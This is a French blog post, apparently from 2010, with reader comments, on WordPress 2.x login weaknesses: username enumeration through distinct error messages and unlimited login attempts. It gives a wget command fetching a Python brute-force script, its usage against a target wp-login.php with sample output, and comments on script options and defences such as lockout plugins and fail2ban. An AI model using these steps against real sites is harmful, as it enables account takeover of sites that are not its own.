WordPress 2.x Brute Force Attack


Brute Force Attack
Voilà quelque chose d'assez surprenant : depuis 2007, plusieurs problèmes de sécurité non corrigés touchent les versions de WordPress 2.x. En effet, il est tout à fait possible de vérifier si un compte administrateur existe bien, pour ensuite lancer une attaque de type Brute Force. Les développeurs ont bien entendu été informés de ce problème plusieurs fois, mais ils ne semblent pas y attacher une grande importance.

Wordpress Brute Force Attack

Voici comment tout ceci fonctionne. Pour vérifier qu'un compte utilisateur ou administrateur existe, il suffit de se rendre sur l'interface d'admin de WordPress :

http://victime.com/wp-admin

Saisissez ensuite un identifiant (ex: admin) et un mot de passe bidon (ex: test). Si le message d'erreur suivant apparaît, cela veut dire que le compte n'existe pas:

L'identifiant n'est pas valide (Invalid username en anglais)

Tandis que celui-ci confirmera que l'utilisateur est bien valide :

Mot de passe incorrect (Incorrect password en anglais)

Le deuxième problème de sécurité réside dans le fait, que pour une installation par défaut de WordPress, le nombre de tentatives d'authentification n'est pas limité. A partir de là, il est donc assez facile de réaliser une attaque par Brute Force.

Voici un exemple d'utilisation avec un script écrit en python :

$ wget www.tux-planet.fr/public/hack/bruteforce/wordpress-2.x-bruteforce.py
$ python wordpress-2.x-bruteforce.py http://cible/wp-login.php admin 1 password.txt
[+] Testing : 1025
[+] Testing : plop
[+] Testing : plip
[+] Testing : demo
[!] Password is : demo

Le seul moyen aujourd'hui pour vous protéger contre ce type d'attaque est d'utiliser un compte administrateur différent de "admin". On pourra également installer un plugin comme User Locker qui permet de limiter le nombre de tentatives d'authentification.


21 Commentaires pour "WordPress 2.x Brute Force Attack"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Hello,
    Et deux autres astuces :
    Certains choisissent aussi de déplacer l'adresse de login ou le renomme (mais on mets les mains dans le camboui informatique de WP et c'est pas top pour les mises à jour).
    D'autres empêchent les connexions qui ne proviennent pas de leur IP.

    RépondreRépondre
    Christophe BENOIT , le 12 avril 2010 à 17:47
  •  

    Mouais enfin une attaque bruteforce si ton password ne ressemble pas à "coucou", "demo", "admin" ou "password" mais plutôt à "efcdner@6è(3" il va falloir attendre un peu :)

    RépondreRépondre
    Xavier , le 12 avril 2010 à 18:18
  •  

    @Xavier : c'est certain qu'un bon mot de passe sera toujours la base en terme de sécurité !

    RépondreRépondre
    pti-seb , le 12 avril 2010 à 20:41
  •  

    Comme le dit Xavier ici c'est pas une attaque en brute force, c'est une attaque de type dictionnaire, c'est le même principe sauf que tu ne teste qu'une liste de mots.

    Parce que pour faire un brute force déjà en local on arrive vite à plusieurs siècles selon la taille du mot de passe alors via http faut pas être pressé!

    bref un bon mot de passe avec des caractères spéciaux et y'a aucun pb!
    En fait la première faille de sécurité elle est entre le clavier et la chaise!

    RépondreRépondre
    bibitte , le 13 avril 2010 à 11:53
  •  

    @bibitte : oui en faite dans l'exemple j'utilise la méthode par dictionnaire, celle que je préfère. Mais en faite, le script permet aussi de faire une attaque par bruteforce, il suffit d'utiliser l'option n°2 avec les bons arguments.

    Usage : <server> <user> <choice> <dico-characters>
    Default: User is 'admin'
    Choice :
    1} Dictionnary Attack, use dictionnary file
    2} Bruteforce Attack, use number of character for password

    Reste que cette seconde méthode est sûrement moins efficace, à moins d'être immortel et d'avoir du temps devant soi.

    RépondreRépondre
    pti-seb , le 13 avril 2010 à 13:13
  •  

    bin avec la méthode 1 c'est pareil, il faut un bon wordlist.txt ...

    RépondreRépondre
    z0rg> , le 13 avril 2010 à 20:25
  •  

    Question : pourquoi avoir choisi python pour ce type d'attaque, qui demande énormément de rapidité de calcul ?
    C ne serait-il pas plus approprié ?

    RépondreRépondre
    inalgnu , le 14 avril 2010 à 09:52
  •  

    @inalgnu : c'est le seul script de brute force pour WordPress que j'ai trouvé. Je l'ai modifié un peu. Mais en langage C il aurait été plus rapide c'est sûr.

    RépondreRépondre
    pti-seb , le 14 avril 2010 à 14:11
  •  

    En effet je vais corriger ça tout de suite !

    :-(

    RépondreRépondre
    Amarox , le 15 avril 2010 à 10:35
  •  

    @pti-seb: Même avec un dictionnaire une attaque de type "brute force" c'est du "brute force" ;)

    C'est une très bonne chose de rappeler les bases de la sécu mais j'aimerais (r)ajouter que ça ne s'arrête pas a WP... les auths http et pleins d'autres script php sont vulnérable a ce type d'attaques.

    Une des approche pour sécuriser la chose c'est un fail2ban like qui parse les logs du serveur/banni l IP de l'attaquant (via iptables/pf).

    @inalgnu: Je pense que ici le facteur réseau et la rapidité du serveur a traiter les requêtes l'autre bout sera plus important que la différence C et python. Mais c'est juste un avis personnel.. je n'ai pas fait de benchs.

    RépondreRépondre
    crashdump , le 19 avril 2010 à 12:26
  •  

    tu pourrais uploader le script python ? si ce n'est pas ça : http://securityvulns.ru/files/float.py ?

    merci :)

    RépondreRépondre
    ly3s , le 22 avril 2010 à 14:38
  •  

    @ly3s : c'est dans le billet: "wget tux-planet.fr/.../wordpress-2.x-bruteforce.py"

    RépondreRépondre
    crashdump.fr , le 22 avril 2010 à 17:39
  •  

    Oups xD merci l'ami ;)

    RépondreRépondre
    ly3s , le 22 avril 2010 à 18:27
  •  

    @ly3s @crashdump.fr : surtout que celui que je propose est modifié pour fonctionner avec les versions fr de WordPress.

    RépondreRépondre
    pti-seb , le 22 avril 2010 à 23:52
  •  

    Personnelement je préfère login lockdown.
    Je l'utilise pour mon site web.

    RépondreRépondre
    ninjageek , le 13 mai 2010 à 18:46
  •  

    Avec la méthode 2 et 10 caractères on en aurai pour des années (en supposant que le login soit admin)

    [-] User is : admin
    [-] Number of characters are : 10
    [+] Testing : aa
    [+] Testing : aaa
    [+] Testing : aaaa
    [+] Testing : aaaaa
    [+] Testing : aaaaaa
    [+] Testing : aaaaaaa
    [+] Testing : aaaaaaaa
    [+] Testing : aaaaaaaaa
    [+] Testing : aaaaaaaaaa
    [+] Testing : aaaaaaaaab
    [+] Testing : aaaaaaaaac
    [+] Testing : aaaaaaaaad
    [+] Testing : aaaaaaaaae
    [+] Testing : aaaaaaaaaf
    [+] Testing : aaaaaaaaag
    [---snip---]
    [+] Testing : aaaaaaaaay
    [+] Testing : aaaaaaaaaz
    [+] Testing : aaaaaaaaaA
    [+] Testing : aaaaaaaaaB
    [+] Testing : aaaaaaaaaC
    [+] Testing : aaaaaaaaaD

    Après il passe au majuscules aussi

    RépondreRépondre
    Fugitif , le 29 mai 2010 à 14:15
  •  

    @Fugitif : On en aura pour 3 nuits !

    RépondreRépondre
    ly3s , le 29 mai 2010 à 14:27
  •  

    @ly3s : tu a tester avec le pass d'origine à l'installation de WordPress ? Il fait 12 caractères et avec des majuscules, minuscules et caractères spéciaux

    RépondreRépondre
    Fugitif , le 29 mai 2010 à 16:31
  •  

    @Fugitif : non, j'ai pas essayé avec ça mais avec un mot de passe de 14caractères. En tout cas, n'importe quel mot de passe peut être bruteforcé même si ça prendra plusieurs semaines !

    RépondreRépondre
    ly3s , le 29 mai 2010 à 18:30
  •  

    Chez moi,
    - password > 8 char,
    - changement login admin par défaut

    j'espère qu'il n'existe pas de méthode pour connaître le nom d'admin

    en tout cas c'est bon à savoir

    merci pour l'info !

    Sebastien

    RépondreRépondre
    informatique Grenoble , le 13 avril 2011 à 09:55
  •  

    @pti-seb : Je suis immortel, je peux le faire !

    RépondreRépondre
    Chuck Norris , le 6 mars 2014 à 23:58
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité redhat red hat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum